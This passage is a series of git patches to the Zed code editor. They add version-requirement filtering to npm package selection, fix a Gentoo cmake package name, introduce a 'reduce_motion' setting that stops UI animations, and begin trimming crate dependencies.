-            "selected latest npm package version package={name:?} before={before:?} dist_tag_latest={latest_dist_tag:?} selected={selected_version}"
+            "selected latest npm package version package={name:?} version_requirement={version_requirement:?} before={before:?} dist_tag_latest={latest_dist_tag:?} selected={selected_version}"
         );
         Ok(selected_version)
     }
@@ -481,7 +491,19 @@ fn select_npm_package_version(
     package_name: &str,
     mut info: NpmInfo,
     before: Option<&str>,
+    version_requirement: Option<&VersionReq>,
 ) -> Result<Version> {
+    if let Some(version_requirement) = version_requirement {
+        info.versions
+            .retain(|version| version_requirement.matches(version));
+        info.versions.sort();
+        info.dist_tags.latest = info
+            .dist_tags
+            .latest
+            .take()
+            .filter(|version| version_requirement.matches(version));
+    }
+
     if let Some(before) = before
         && !info.time.is_empty()
     {
@@ -502,6 +524,7 @@ fn select_npm_package_version(
                 latest_version,
                 &info.time,
                 &before_timestamp,
+                version_requirement.is_some(),
             )? {
                 return Ok(version.clone());
             }
@@ -521,8 +544,9 @@ fn is_allowed_npm_version_before(
     latest_version: Option<&Version>,
     published_at_by_version: &HashMap<String, String>,
     before: &DateTime<Utc>,
+    allow_prereleases: bool,
 ) -> Result<bool> {
-    if !version.pre.is_empty()
+    if (!allow_prereleases && !version.pre.is_empty())
         || latest_version.is_some_and(|latest_version| version > latest_version)
     {
         return Ok(false);
@@ -1121,7 +1145,7 @@ mod tests {
 
     use anyhow::{Result, bail};
     use http_client::Url;
-    use semver::Version;
+    use semver::{Version, VersionReq};
 
     use super::{
         NpmInfo, VersionStrategy, build_npm_command_args, deserialize_npm_info_from_response,
@@ -1245,7 +1269,7 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, None)?,
+            select_npm_package_version("test-package", info, None, None)?,
             Version::parse("3.0.0")?
         );
         Ok(())
@@ -1270,7 +1294,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("2.0.0")?
         );
         Ok(())
@@ -1291,7 +1320,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("2.0.0")?
         );
         Ok(())
@@ -1312,7 +1346,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("2.0.0")?
         );
         Ok(())
@@ -1332,7 +1371,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("2.0.0-beta.1")?
         );
         Ok(())
@@ -1353,7 +1397,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("1.0.0")?
         );
         Ok(())
@@ -1374,7 +1423,12 @@ mod tests {
         )?;
 
         assert_eq!(
-            select_npm_package_version("test-package", info, Some("2024-02-15T00:00:00.000Z"))?,
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                None
+            )?,
             Version::parse("1.0.0")?
         );
         Ok(())
@@ -1393,9 +1447,12 @@ mod tests {
             }"#,
         )?;
 
-        let Err(error) =
-            select_npm_package_version("test-package", info, Some("2023-12-01T00:00:00.000Z"))
-        else {
+        let Err(error) = select_npm_package_version(
+            "test-package",
+            info,
+            Some("2023-12-01T00:00:00.000Z"),
+            None,
+        ) else {
             bail!("expected cutoff to reject all package versions");
         };
         assert_eq!(
@@ -1405,6 +1462,112 @@ mod tests {
         Ok(())
     }
 
+    #[test]
+    fn test_select_npm_package_version_selects_latest_matching_requirement() -> Result<()> {
+        let info: NpmInfo = serde_json::from_str(
+            r#"{
+                "dist-tags": { "latest": "7.0.0" },
+                "versions": ["6.0.3", "7.0.0", "5.9.3", "6.0.2"]
+            }"#,
+        )?;
+        let version_requirement = VersionReq::parse("^6")?;
+
+        assert_eq!(
+            select_npm_package_version("test-package", info, None, Some(&version_requirement))?,
+            Version::parse("6.0.3")?
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn test_select_npm_package_version_applies_before_to_matching_versions() -> Result<()> {
+        let info: NpmInfo = serde_json::from_str(
+            r#"{
+                "dist-tags": { "latest": "7.0.0" },
+                "versions": ["6.0.3", "7.0.0", "6.0.2"],
+                "time": {
+                    "6.0.2": "2024-02-01T00:00:00.000Z",
+                    "6.0.3": "2024-03-01T00:00:00.000Z",
+                    "7.0.0": "2024-04-01T00:00:00.000Z"
+                }
+            }"#,
+        )?;
+        let version_requirement = VersionReq::parse("^6")?;
+
+        assert_eq!(
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                Some(&version_requirement),
+            )?,
+            Version::parse("6.0.2")?
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn test_select_npm_package_version_allows_requested_prerelease_before_cutoff() -> Result<()> {
+        let info: NpmInfo = serde_json::from_str(
+            r#"{
+                "dist-tags": { "latest": "7.0.0" },
+                "versions": ["7.1.0-beta.1", "7.1.0-beta.2", "7.0.0"],
+                "time": {
+                    "7.0.0": "2024-01-01T00:00:00.000Z",
+                    "7.1.0-beta.1": "2024-02-01T00:00:00.000Z",
+                    "7.1.0-beta.2": "2024-03-01T00:00:00.000Z"
+                }
+            }"#,
+        )?;
+        let version_requirement = VersionReq::parse(">=7.1.0-beta.1, <7.1.0")?;
+
+        assert_eq!(
+            select_npm_package_version(
+                "test-package",
+                info,
+                Some("2024-02-15T00:00:00.000Z"),
+                Some(&version_requirement),
+            )?,
+            Version::parse("7.1.0-beta.1")?
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn test_select_npm_package_version_errors_without_matching_version() -> Result<()> {
+        let info: NpmInfo = serde_json::from_str(
+            r#"{
+                "dist-tags": { "latest": "7.0.0" },
+                "versions": ["5.9.3", "7.0.0"]
+            }"#,
+        )?;
+        let version_requirement = VersionReq::parse("^6")?;
+
+        let error =
+            select_npm_package_version("test-package", info, None, Some(&version_requirement))
+                .expect_err("expected version requirement to reject all package versions");
+        assert_eq!(
+            error.to_string(),
+            "no version found for npm package test-package"
+        );
+        Ok(())
+    }
+
+    #[test]
+    fn test_pinned_version_strategy_replaces_different_installed_version() -> Result<()> {
+        let pinned_version = Version::parse("6.0.3")?;
+
+        assert!(!should_install_npm_package_version(
+            &pinned_version,
+            VersionStrategy::Pin(&pinned_version)
+        ));
+        assert!(should_install_npm_package_version(
+            &Version::parse("7.0.0")?,
+            VersionStrategy::Pin(&pinned_version)
+        ));
+        Ok(())
+    }
+
     #[test]
     fn test_deserialize_npm_info_npm11_format() -> Result<()> {
         let json = r#"{

From 18f35ffac2da72ccdfb0e1bf756218fa1995162b Mon Sep 17 00:00:00 2001
From: CorbinPost10 <181514816+CorbinPost10@users.noreply.github.com>
Date: Tue, 14 Jul 2026 06:56:45 -0700
Subject: [PATCH 447/772] Fix gentoo cmake package name (#60930)

script/linux tried to install dev-util/cmake, which is not the correct
package name, so the script fails. Changing it to dev-build/cmake fixes
this.

Release Notes:

- N/A
---
 script/linux | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/script/linux b/script/linux
index a2916a0b26b726..8779263affd8f1 100755
--- a/script/linux
+++ b/script/linux
@@ -263,7 +263,7 @@ if [[ -n $emerge ]]; then
     dev-libs/glib
     dev-libs/openssl
     dev-libs/wayland
-    dev-util/cmake
+    dev-build/cmake
     media-libs/alsa-lib
     media-libs/fontconfig
     media-libs/libva

From d06ebb7c033365a427b5cc8a3e2a2651bcb0c267 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 14 Jul 2026 17:49:06 +0300
Subject: [PATCH 448/772] Disable all spinners in Zed (#60614)

Closes https://github.com/zed-industries/zed/pull/48577
Part of https://github.com/zed-industries/zed/issues/8043
See
https://zed-industries.slack.com/archives/C07NUKHLVUZ/p1783335475957139
for context.

Release Notes:

- Allow to reduce animations with `"reduce_motion": "on"` settings
---
 assets/settings/default.json                  |   9 ++
 crates/gpui/src/app.rs                        |  17 +++
 crates/gpui/src/elements/animation.rs         | 120 +++++++++++++++---
 crates/gpui/src/elements/img.rs               |   3 +-
 crates/gpui/src/window.rs                     |  20 +++
 crates/settings/src/vscode_import.rs          |  34 +++++
 .../settings_content/src/settings_content.rs  |  33 +++++
 crates/settings_ui/src/page_data.rs           |  16 ++-
 crates/settings_ui/src/settings_ui.rs         |   1 +
 crates/ui/src/components/scrollbar.rs         |  58 +++++----
 crates/workspace/src/notifications.rs         |  10 +-
 crates/zed/src/zed.rs                         |  19 +++
 docs/src/reference/all-settings.md            |  24 ++++
 13 files changed, 319 insertions(+), 45 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 1d4ea7a1f5ee75..b2fdb36f7e18d8 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -268,6 +268,15 @@
   // 3. Hide on typing and on key bindings that resolve to an action:
   //    "on_typing_and_action"
   "hide_mouse": "on_typing_and_action",
+  // Whether to reduce non-essential motion in the UI, such as loading
+  // spinners and pulsating labels, by rendering them in a static state.
+  //
+  // May take 2 values:
+  // 1. Always reduce motion:
+  //    "on"
+  // 2. Never reduce motion:
+  //    "off"
+  "reduce_motion": "off",
   // Determines whether the focused panel follows the mouse location.
   "focus_follows_mouse": {
     "enabled": false,
diff --git a/crates/gpui/src/app.rs b/crates/gpui/src/app.rs
index 0467c3e4fd8562..1a3e28fff9accb 100644
--- a/crates/gpui/src/app.rs
+++ b/crates/gpui/src/app.rs
@@ -749,6 +749,7 @@ pub struct App {
     pub(crate) window_update_stack: Vec<WindowId>,
     pub(crate) mode: GpuiMode,
     pub(crate) cursor_hide_mode: CursorHideMode,
+    pub(crate) reduce_motion: bool,
     /// Whether the app was created by [`Application::new_inaccessible`]. No
     /// accesskit APIs will be called when this flag is set.
     pub(crate) accessibility_force_disabled: bool,
@@ -841,6 +842,7 @@ impl App {
                 quit_mode: QuitMode::default(),
                 quitting: false,
                 cursor_hide_mode: CursorHideMode::default(),
+                reduce_motion: false,
                 accessibility_force_disabled: false,
 
                 #[cfg(any(test, feature = "test-support", debug_assertions))]
@@ -1003,6 +1005,21 @@ impl App {
         self.platform.is_cursor_visible()
     }
 
+    /// Returns whether non-essential animations (e.g. loading spinners) should
+    /// be rendered in a static state instead of animating.
+    pub fn reduce_motion(&self) -> bool {
+        self.reduce_motion
+    }
+
+    /// Sets whether non-essential animations (e.g. loading spinners) should be
+    /// rendered in a static state instead of animating.
+    pub fn set_reduce_motion(&mut self, reduce_motion: bool) {
+        if self.reduce_motion != reduce_motion {
+            self.reduce_motion = reduce_motion;
+            self.refresh_windows();
+        }
+    }
+
     /// Schedules all windows in the application to be redrawn. This can be called
     /// multiple times in an update cycle and still result in a single redraw.
     pub fn refresh_windows(&mut self) {
diff --git a/crates/gpui/src/elements/animation.rs b/crates/gpui/src/elements/animation.rs
index b816f7dd935afd..0a3c0c300bad60 100644
--- a/crates/gpui/src/elements/animation.rs
+++ b/crates/gpui/src/elements/animation.rs
@@ -48,6 +48,12 @@ impl Animation {
 }
 
 /// An extension trait for adding the animation wrapper to both Elements and Components
+///
+/// Animations rendered through this trait automatically respect
+/// [`App::reduce_motion`](crate::App::reduce_motion): when it is set,
+/// the element is rendered in a static state (the end state for oneshot
+/// animations, the start state for repeating ones) and no animation frames are
+/// scheduled.
 pub trait AnimationExt {
     /// Render this component or element with an animation
     fn with_animation(
@@ -152,25 +158,36 @@ impl<E: IntoElement + 'static> Element for AnimationElement<E> {
                 start: Instant::now(),
                 animation_ix: 0,
             });
-            let animation_ix = state.animation_ix;
-
-            let mut delta = state.start.elapsed().as_secs_f32()
-                / self.animations[animation_ix].duration.as_secs_f32();
-
-            let mut done = false;
-            if delta > 1.0 {
-                if self.animations[animation_ix].oneshot {
-                    if animation_ix >= self.animations.len() - 1 {
-                        done = true;
+            let (animation_ix, delta, done) = if cx.reduce_motion() {
+                let animation_ix = self.animations.len() - 1;
+                let delta = if self.animations[animation_ix].oneshot {
+                    1.0
+                } else {
+                    0.0
+                };
+                (animation_ix, delta, true)
+            } else {
+                let animation_ix = state.animation_ix;
+
+                let mut delta = state.start.elapsed().as_secs_f32()
+                    / self.animations[animation_ix].duration.as_secs_f32();
+
+                let mut done = false;
+                if delta > 1.0 {
+                    if self.animations[animation_ix].oneshot {
+                        if animation_ix >= self.animations.len() - 1 {
+                            done = true;
+                        } else {
+                            state.start = Instant::now();
+                            state.animation_ix += 1;
+                        }
+                        delta = 1.0;
                     } else {
-                        state.start = Instant::now();
-                        state.animation_ix += 1;
+                        delta %= 1.0;
                     }
-                    delta = 1.0;
-                } else {
-                    delta %= 1.0;
                 }
-            }
+                (animation_ix, delta, done)
+            };
             let delta = (self.animations[animation_ix].easing)(delta);
 
             debug_assert!(
@@ -273,11 +290,55 @@ mod easing {
 
 #[cfg(test)]
 mod tests {
-    use crate::InteractiveElement;
-    use crate::div;
+    use std::{cell::RefCell, rc::Rc, time::Duration};
+
+    use crate::{
+        Animation, Context, InteractiveElement, Render, TestAppContext, WindowHandle, div,
+        prelude::*, px, size,
+    };
 
     use super::*;
 
+    struct AnimationTestView {
+        rendered_deltas: Rc<RefCell<Vec<f32>>>,
+    }
+
+    impl Render for AnimationTestView {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            let rendered_deltas = self.rendered_deltas.clone();
+            div().size_full().child(div().with_animation(
+                "repeating-animation",
+                Animation::new(Duration::from_secs(1)).repeat(),
+                move |this, delta| {
+                    rendered_deltas.borrow_mut().push(delta);
+                    this
+                },
+            ))
+        }
+    }
+
+    fn open_test_window(
+        cx: &mut TestAppContext,
+    ) -> (Rc<RefCell<Vec<f32>>>, WindowHandle<AnimationTestView>) {
+        let rendered_deltas = Rc::new(RefCell::new(Vec::new()));
+        let window = cx.open_window(size(px(100.), px(100.)), {
+            let rendered_deltas = rendered_deltas.clone();
+            move |_, _| AnimationTestView { rendered_deltas }
+        });
+        cx.run_until_parked();
+        (rendered_deltas, window)
+    }
+
+    fn simulate_next_frame(
+        window: &WindowHandle<AnimationTestView>,
+        cx: &mut TestAppContext,
+    ) -> usize {
+        let callback_count = window
+            .update(cx, |_, window, cx| window.simulate_next_frame(cx))
+            .unwrap();
+        cx.run_until_parked();
+        callback_count
+    }
     // Before parent-animation-element, using .with_animation
     // would not allow chaining .parent after. This is just a
     // build check that we can call div().id().with_animation().child()
@@ -299,4 +360,27 @@ mod tests {
                 div(),
             );
     }
+
+    #[gpui::test]
+    fn test_repeating_animation_schedules_animation_frames(cx: &mut TestAppContext) {
+        let (rendered_deltas, window) = open_test_window(cx);
+
+        assert_eq!(rendered_deltas.borrow().len(), 1);
+
+        for expected_frames in 2..=3 {
+            assert_eq!(simulate_next_frame(&window, cx), 1);
+            assert_eq!(rendered_deltas.borrow().len(), expected_frames);
+        }
+    }
+
+    #[gpui::test]
+    fn test_reduce_motion_renders_single_static_frame(cx: &mut TestAppContext) {
+        cx.update(|cx| cx.set_reduce_motion(true));
+        let (rendered_deltas, window) = open_test_window(cx);
+
+        assert_eq!(*rendered_deltas.borrow(), vec![0.0]);
+
+        assert_eq!(simulate_next_frame(&window, cx), 0);
+        assert_eq!(*rendered_deltas.borrow(), vec![0.0]);
+    }
 }
diff --git a/crates/gpui/src/elements/img.rs b/crates/gpui/src/elements/img.rs
index 6f01182f9e7666..4850d895b63fe8 100644
--- a/crates/gpui/src/elements/img.rs
+++ b/crates/gpui/src/elements/img.rs
@@ -317,7 +317,7 @@ impl Element for Img {
 
                             if let Some(state) = &mut state {
                                 state.frame_index = state.frame_index.min(max_frame_index);
-                                if frame_count > 1 {
+                                if frame_count > 1 && !cx.reduce_motion() {
                                     if window.is_window_active() {
                                         let current_time = Instant::now();
                                         if let Some(last_frame_time) = state.last_frame_time {
@@ -378,6 +378,7 @@ impl Element for Img {
                             if global_id.is_some()
                                 && data.frame_count() > 1
                                 && window.is_window_active()
+                                && !cx.reduce_motion()
                             {
                                 window.request_animation_frame();
                             }
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 4c4d039acec5fd..f08d347581b682 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -2202,11 +2202,31 @@ impl Window {
     /// It will cause the window to redraw on the next frame, even if no other changes have occurred.
     ///
     /// If called from within a view, it will notify that view on the next frame. Otherwise, it will refresh the entire window.
+    ///
+    /// Callers driving purely decorative animations (spinners, pulses, and the
+    /// like) should prefer [`AnimationExt::with_animation`](crate::AnimationExt::with_animation),
+    /// which automatically respects [`App::reduce_motion`]. When using this
+    /// method directly for decorative motion, check [`App::reduce_motion`]
+    /// and skip the frame request when it is set.
     pub fn request_animation_frame(&self) {
         let entity = self.current_view();
         self.on_next_frame(move |_, cx| cx.notify(entity));
     }
 
+    /// Runs all callbacks scheduled via [`Self::on_next_frame`], returning how many ran.
+    ///
+    /// Tests have no platform frame loop, so this simulates the delivery of the
+    /// next frame.
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn simulate_next_frame(&mut self, cx: &mut App) -> usize {
+        let callbacks = self.next_frame_callbacks.take();
+        let count = callbacks.len();
+        for callback in callbacks {
+            callback(self, cx);
+        }
+        count
+    }
+
     /// Spawn the future returned by the given closure on the application thread pool.
     /// The closure is provided a handle to the current window and an `AsyncWindowContext` for
     /// use within your future.
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 5829109797b6a0..5d1a628578077a 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -206,6 +206,11 @@ impl VsCodeSettings {
             project: self.project_settings_content(),
             project_panel: self.project_panel_settings_content(),
             proxy: self.read_string("http.proxy"),
+            reduce_motion: self.read_enum("workbench.reduceMotion", |s| match s {
+                "on" => Some(ReduceMotionMode::On),
+                "off" => Some(ReduceMotionMode::Off),
+                _ => None,
+            }),
             remote: RemoteSettingsContent::default(),
             repl: None,
             server_url: None,
@@ -1125,3 +1130,32 @@ fn skip_default<T: Default + PartialEq>(value: T) -> Option<T> {
         Some(value)
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn imported_reduce_motion(content: &str) -> Option<ReduceMotionMode> {
+        VsCodeSettings::from_str(content, VsCodeSettingsSource::VsCode)
+            .unwrap()
+            .settings_content()
+            .reduce_motion
+    }
+
+    #[test]
+    fn test_import_reduce_motion() {
+        assert_eq!(
+            imported_reduce_motion(r#"{ "workbench.reduceMotion": "on" }"#),
+            Some(ReduceMotionMode::On)
+        );
+        assert_eq!(
+            imported_reduce_motion(r#"{ "workbench.reduceMotion": "off" }"#),
+            Some(ReduceMotionMode::Off)
+        );
+        assert_eq!(
+            imported_reduce_motion(r#"{ "workbench.reduceMotion": "auto" }"#),
+            None
+        );
+        assert_eq!(imported_reduce_motion("{}"), None);
+    }
+}
diff --git a/crates/settings_content/src/settings_content.rs b/crates/settings_content/src/settings_content.rs
index 4628bcf34e5713..0edd11fdea74dc 100644
--- a/crates/settings_content/src/settings_content.rs
+++ b/crates/settings_content/src/settings_content.rs
@@ -111,6 +111,33 @@ pub enum HideMouseMode {
     OnTypingAndAction,
 }
 
+/// Determines whether to reduce non-essential motion in the UI, such as
+/// loading spinners and pulsating labels, by rendering them in a static state.
+///
+/// Default: off
+#[derive(
+    Copy,
+    Clone,
+    Debug,
+    Default,
+    Serialize,
+    Deserialize,
+    PartialEq,
+    Eq,
+    JsonSchema,
+    MergeFrom,
+    strum::VariantArray,
+    strum::VariantNames,
+)]
+#[serde(rename_all = "snake_case")]
+pub enum ReduceMotionMode {
+    /// Always reduce motion
+    On,
+    /// Never reduce motion
+    #[default]
+    Off,
+}
+
 #[with_fallible_options]
 #[derive(Debug, PartialEq, Default, Clone, Serialize, Deserialize, JsonSchema, MergeFrom)]
 pub struct SettingsContent {
@@ -216,6 +243,12 @@ pub struct SettingsContent {
 
     pub proxy: Option<String>,
 
+    /// Whether to reduce non-essential motion in the UI, such as loading
+    /// spinners and pulsating labels, by rendering them in a static state.
+    ///
+    /// Default: off
+    pub reduce_motion: Option<ReduceMotionMode>,
+
     /// The URL of the Zed server to connect to.
     pub server_url: Option<String>,
 
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 0cb49694cb1ee2..ce7b51f2e9093f 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -1259,7 +1259,7 @@ fn appearance_page() -> SettingsPage {
         ]
     }
 
-    fn cursor_section() -> [SettingsPageItem; 5] {
+    fn cursor_section() -> [SettingsPageItem; 6] {
         [
             SettingsPageItem::SectionHeader("Cursor"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -1318,6 +1318,20 @@ fn appearance_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Reduce Motion",
+                description: "Whether to reduce non-essential motion, such as loading spinners, by rendering them in a static state.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("reduce_motion"),
+                    pick: |settings_content| settings_content.reduce_motion.as_ref(),
+                    write: |settings_content, value, _| {
+                        settings_content.reduce_motion = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
         ]
     }
 
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 45901486a18187..4f5937db1b23a1 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -546,6 +546,7 @@ fn init_renderers(cx: &mut App) {
         .add_basic_renderer::<settings::BaseKeymapContent>(render_dropdown)
         .add_basic_renderer::<settings::MultiCursorModifier>(render_dropdown)
         .add_basic_renderer::<settings::HideMouseMode>(render_dropdown)
+        .add_basic_renderer::<settings::ReduceMotionMode>(render_dropdown)
         .add_basic_renderer::<settings::CurrentLineHighlight>(render_dropdown)
         .add_basic_renderer::<settings::ShowWhitespaceSetting>(render_dropdown)
         .add_basic_renderer::<settings::SoftWrap>(render_dropdown)
diff --git a/crates/ui/src/components/scrollbar.rs b/crates/ui/src/components/scrollbar.rs
index 3e2c8c8b9acd70..dde9312334d521 100644
--- a/crates/ui/src/components/scrollbar.rs
+++ b/crates/ui/src/components/scrollbar.rs
@@ -1264,29 +1264,43 @@ impl<T: ScrollableHandle> Element for ScrollbarElement<T> {
                         current_delta,
                         animation_duration: delta_duration,
                         showing: should_invert,
-                    } => window.with_element_state(id.unwrap(), |state, window| {
-                        let state = state.unwrap_or_else(|| Instant::now());
-                        let current = Instant::now();
-
-                        let new_delta = DELTA_MAX.min(
-                            current_delta + (current - state).div_duration_f32(delta_duration),
-                        );
-                        self.state.update(cx, |state, _| {
-                            let has_border = state
-                                .track_color
-                                .as_ref()
-                                .is_some_and(|track_colors| track_colors.has_border);
-                            state.show_state.set_delta(new_delta, has_border)
-                        });
-
-                        window.request_animation_frame();
-                        let delta = if should_invert {
-                            DELTA_MAX - current_delta
+                    } => {
+                        if cx.reduce_motion() {
+                            self.state.update(cx, |state, _| {
+                                let has_border = state
+                                    .track_color
+                                    .as_ref()
+                                    .is_some_and(|track_colors| track_colors.has_border);
+                                state.show_state.set_delta(DELTA_MAX, has_border)
+                            });
+                            if should_invert { 0.0 } else { DELTA_MAX }
                         } else {
-                            current_delta
-                        };
-                        (ease_in_out(delta), current)
-                    }),
+                            window.with_element_state(id.unwrap(), |state, window| {
+                                let state = state.unwrap_or_else(|| Instant::now());
+                                let current = Instant::now();
+
+                                let new_delta = DELTA_MAX.min(
+                                    current_delta
+                                        + (current - state).div_duration_f32(delta_duration),
+                                );
+                                self.state.update(cx, |state, _| {
+                                    let has_border = state
+                                        .track_color
+                                        .as_ref()
+                                        .is_some_and(|track_colors| track_colors.has_border);
+                                    state.show_state.set_delta(new_delta, has_border)
+                                });
+
+                                window.request_animation_frame();
+                                let delta = if should_invert {
+                                    DELTA_MAX - current_delta
+                                } else {
+                                    current_delta
+                                };
+                                (ease_in_out(delta), current)
+                            })
+                        }
+                    }
                     AnimationState::Stale => 1.0,
                 });
 
diff --git a/crates/workspace/src/notifications.rs b/crates/workspace/src/notifications.rs
index 7441cf391d13e9..59246eaba2eac6 100644
--- a/crates/workspace/src/notifications.rs
+++ b/crates/workspace/src/notifications.rs
@@ -528,8 +528,12 @@ pub mod simple_message_notification {
                     if let Some(auto_hide) = this.auto_hide.as_mut() {
                         auto_hide.finish_timer();
                         if !auto_hide.hovered {
-                            auto_hide.start_fading_out();
-                            cx.notify();
+                            if cx.reduce_motion() {
+                                cx.emit(DismissEvent);
+                            } else {
+                                auto_hide.start_fading_out();
+                                cx.notify();
+                            }
                         }
                     }
                 }) {
@@ -956,7 +960,7 @@ pub mod simple_message_notification {
                 cx.emit(DismissEvent);
             }
 
-            if self.needs_animation_frame() {
+            if self.needs_animation_frame() && !cx.reduce_motion() {
                 window.request_animation_frame();
             }
 
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 55cf31522729dc..d4b394429a7eb6 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -436,6 +436,7 @@ pub fn initialize_workspace(app_state: Arc<AppState>, cx: &mut App) {
     .detach();
 
     init_cursor_hide_mode(cx);
+    init_reduce_motion(cx);
 
     cx.observe_new(|_multi_workspace: &mut MultiWorkspace, window, cx| {
         let Some(window) = window else {
@@ -2018,6 +2019,24 @@ fn init_cursor_hide_mode(cx: &mut App) {
     cx.observe_global::<SettingsStore>(apply).detach();
 }
 
+#[derive(Copy, Clone, Debug, settings::RegisterSetting)]
+struct ReduceMotionSetting(settings::ReduceMotionMode);
+
+impl Settings for ReduceMotionSetting {
+    fn from_settings(content: &settings::SettingsContent) -> Self {
+        Self(content.reduce_motion.unwrap_or_default())
+    }
+}
+
+fn init_reduce_motion(cx: &mut App) {
+    let apply = |cx: &mut App| {
+        let reduce_motion = ReduceMotionSetting::get_global(cx).0 == settings::ReduceMotionMode::On;
+        cx.set_reduce_motion(reduce_motion);
+    };
+    apply(cx);
+    cx.observe_global::<SettingsStore>(apply).detach();
+}
+
 /// Starts watching `~/.config/zed/AGENTS.md` (or the platform equivalent) and
 /// surfaces any read errors using the same notification UI as settings errors.
 ///
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 2ded300ce5dc9e..25690087166d0e 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -858,6 +858,30 @@ List of `string` values
 }
 ```
 
+## Reduce Motion
+
+- Description: Whether to reduce non-essential motion in the UI, such as loading spinners and pulsating labels, by rendering them in a static state.
+- Setting: `reduce_motion`
+- Default: `off`
+
+**Options**
+
+1. Always reduce motion:
+
+```json [settings]
+{
+  "reduce_motion": "on"
+}
+```
+
+2. Never reduce motion:
+
+```json [settings]
+{
+  "reduce_motion": "off"
+}
+```
+
 ## Snippet Sort Order
 
 - Description: Determines how snippets are sorted relative to other completion items.

From b51f967d8bf80230531615cebdd6e26aefa0ed3e Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Tue, 14 Jul 2026 17:02:41 +0200
Subject: [PATCH 449/772] Thin out unnecessary dependencies from core crates
 (#60977)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                  |  7 +--
 Cargo.toml                                  |  2 +-
 crates/debugger_ui/Cargo.toml               |  2 +-
 crates/edit_prediction_context/Cargo.toml   |  3 +-
 crates/extension_cli/Cargo.toml             |  2 +-
 crates/grammars/Cargo.toml                  |  3 +-
 crates/grammars/src/grammars.rs             |  8 +++-
 crates/language/Cargo.toml                  |  2 +-
 crates/language/src/language.rs             |  4 +-
 crates/language_core/Cargo.toml             |  4 +-
 crates/language_core/src/code_label.rs      |  2 +-
 crates/language_core/src/diagnostic.rs      |  4 +-
 crates/language_core/src/grammar.rs         |  5 +--
 crates/language_core/src/language_config.rs |  5 +--
 crates/language_core/src/lsp_adapter.rs     |  4 +-
 crates/language_tools/Cargo.toml            |  4 +-
 crates/languages/Cargo.toml                 |  4 +-
 crates/lsp/Cargo.toml                       | 11 ++---
 crates/lsp/src/input_handler.rs             |  8 ++--
 crates/lsp/src/lsp.rs                       | 49 ++++++++++-----------
 crates/migrator/Cargo.toml                  |  2 +-
 crates/multi_buffer/Cargo.toml              |  2 +-
 crates/settings_json/Cargo.toml             |  2 +-
 23 files changed, 69 insertions(+), 70 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 6a8cfe5c989500..b2a540338f647b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -8113,7 +8113,6 @@ dependencies = [
  "tree-sitter-rust",
  "tree-sitter-typescript",
  "tree-sitter-yaml",
- "util",
 ]
 
 [[package]]
@@ -9751,8 +9750,9 @@ dependencies = [
  "anyhow",
  "collections",
  "gpui_shared_string",
+ "gpui_util",
  "log",
- "lsp",
+ "lsp-types",
  "parking_lot",
  "regex",
  "schemars 1.0.4",
